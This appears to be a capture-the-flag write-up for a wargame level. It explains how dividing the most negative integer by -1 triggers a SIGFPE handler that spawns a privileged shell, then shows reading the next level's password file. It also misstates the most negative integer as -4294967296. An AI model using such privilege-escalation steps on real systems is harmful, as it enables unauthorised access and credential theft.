# level 2

<pre class="language-c"><code class="lang-c"><strong>#include &#x3C;stdio.h>
</strong>#include &#x3C;stdlib.h>
#include &#x3C;signal.h>
#include &#x3C;unistd.h>

void catcher(int a)
{
    setresuid(geteuid(),geteuid(),geteuid());
    printf("WIN!\n");
    system("/bin/sh");
    exit(0);
}

int main(int argc, char **argv)
{
	puts("source code is available in level02.c\n");

    if (argc != 3 || !atoi(argv[2]))
        return 1;
    signal(SIGFPE, catcher);
    return abs(atoi(argv[1])) / atoi(argv[2]);
}
</code></pre>

The `catcher()` function is what we want to call.

The `main()` function returns the division of the second and third argument, first being the program name itself.

The program makes `signal` syscall which sets a handler function for a signal. This handle function gets called when the signal is received.

```c
sighandler_t signal(int signum, sighandler_t _handler);
```

In our case the signal is `SIGFPE` and the handler function is `catcher()`.

If we look at the man-page, it tells us when a `SIGFPE` signal is generated.

```
Integer division by zero has undefined result.  On some architectures it will generate a SIGFPE signal.  
(Also dividing the most negative integer by -1 may generate **SIGFPE**.)
```

So `SIGFPE` is generated during divisions, and there is a division occurring in our program.

We cannot perform division by zero because our `argv[2]` is the divisor and the program doesn't allow for it to be zero.

However, `argv[2]` can be -1. Which means we just have to figure out what the most negative integer is and pass it as `argv[1]`

```
level2@io:/levels$ ./level02 -4294967296 -1
source code is available in level02.c

WIN!
sh-4.3$
```

We can cat the password for the next level now.

```
sh-4.3$ cat /home/level3/.pass
```


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